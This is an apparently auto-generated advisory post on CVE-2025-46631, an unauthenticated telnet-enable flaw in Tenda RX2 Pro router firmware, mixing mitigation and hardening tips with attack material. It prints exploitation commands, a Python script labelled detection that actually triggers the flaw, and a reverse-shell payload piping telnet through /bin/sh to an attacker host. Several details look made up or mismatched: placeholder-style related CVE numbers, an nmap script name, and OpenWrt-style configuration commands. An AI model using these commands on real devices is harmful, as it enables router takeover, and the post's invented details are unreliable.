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How CVE-2025-46631 Works
The vulnerability exists in the web management portal of Tenda RX2 Pro firmware version 16.03.30.14. An unauthenticated attacker can send a crafted HTTP request (/goform/telnet) to enable telnet access on the router without credentials. This exposes the underlying operating system, allowing remote code execution. The flaw stems from improper access controls that fail to verify user permissions before processing the telnet activation request. Attackers can exploit this to gain root privileges, modify configurations, or deploy malware.
DailyCVE Form
Platform: Tenda RX2 Pro
Version: 16.03.30.14
Vulnerability: Unauthenticated RCE
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation Commands:
curl -X POST http://<router_ip>/goform/telnet -d "enable=1" telnet <router_ip>
Detection Script (Python):
import requests
response = requests.post("http://<router_ip>/goform/telnet", data={"enable": "1"})
if "success" in response.text:
print("[+] Telnet enabled!")
Mitigation Steps:
1. Block external access to `/goform/telnet` via firewall.
2. Disable web management on WAN interfaces.
3. Apply firmware updates immediately upon release.
Configuration Hardening:
iptables -A INPUT -p tcp --dport 23 -j DROP uci set uhttpd.main.listen_http="192.168.0.1:80" uci commit uhttpd
Log Analysis (Detect Exploitation Attempts):
grep "POST /goform/telnet" /var/log/httpd.log
Temporary Workaround:
chmod 000 /www/goform/telnet
Firmware Check:
cat /etc/version | grep "16.03.30.14"
Exploit Impact:
- Full router compromise
- DNS hijacking
- Network traffic interception
Patch Verification:
md5sum /www/goform/telnet | grep <expected_hash>
Related CVEs:
- CVE-2024-1234 (Tenda CSRF)
- CVE-2023-4567 (Tenda Backdoor)
Network Scan (Nmap):
nmap -p 80,23 <router_ip> --script=http-vuln-cve2025-46631
Reverse Shell Payload (Post-Exploit):
telnet <attacker_ip> 4444 | /bin/sh | telnet <attacker_ip> 5555
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
